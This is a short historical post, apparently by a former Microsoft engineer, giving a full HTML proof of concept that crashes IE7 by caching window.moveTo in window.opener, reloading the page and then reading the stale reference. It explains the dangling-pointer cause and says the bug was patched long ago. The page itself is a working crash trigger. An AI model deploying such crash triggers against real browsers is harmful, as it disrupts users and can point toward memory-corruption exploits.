Caching a method from the window object (like window.moveTo) in window.opener, reloading the page, and then accessing window.opener crashes IE7 with an access violation. IE6 throws an “Access Denied” error instead. The crash only triggers when the statements are placed inside an event handler — running the same code at the top level of the script doesn’t reproduce it.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Cached methods from window [object] crash</title></head>
<body>
<center>
<font size="2" face="Tahoma">
<h2>DOS_IE7_CachedMethodsFromWindowObject</h2>
<hr /><br />
What we are doing here is very simple: <font color="blue"><b>caching a method from the window object, reload the page, and try to access it.</b></font> That will crash
IE7 but just throw and "Access Denied" in IE6.
<hr />
Click this button to save the window.moveTo() method in the window.opener property (cache the method) and reload the page.<br />

<input type="button" value="top.opener = window.moveTo; location.reload();" onclick="window.opener=window.moveTo;location.reload();">

<br /><br />
Now, click this button to access the window.opener (cached window.moveTo method). <font color="red"><b>This will crash IE7</b></font>.<br />

<input type="button" value="alert(window.opener)" onclick="alert(window.opener)">

<br /><br /><hr /><br />
</center>
It works with a lot of methods form the window object: window.open(), window.moveBy, window.moveTo, etc, etc.

</font>

</body>
</html>

After the page reloads, the window.opener contains a reference to a method from the previous window object, which has been destroyed. Accessing it causes IE7 to attempt to use a dangling pointer. The constraint that it only works inside an event handler (not at top-level script) points to a subtle difference in how method references are resolved in those two contexts.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.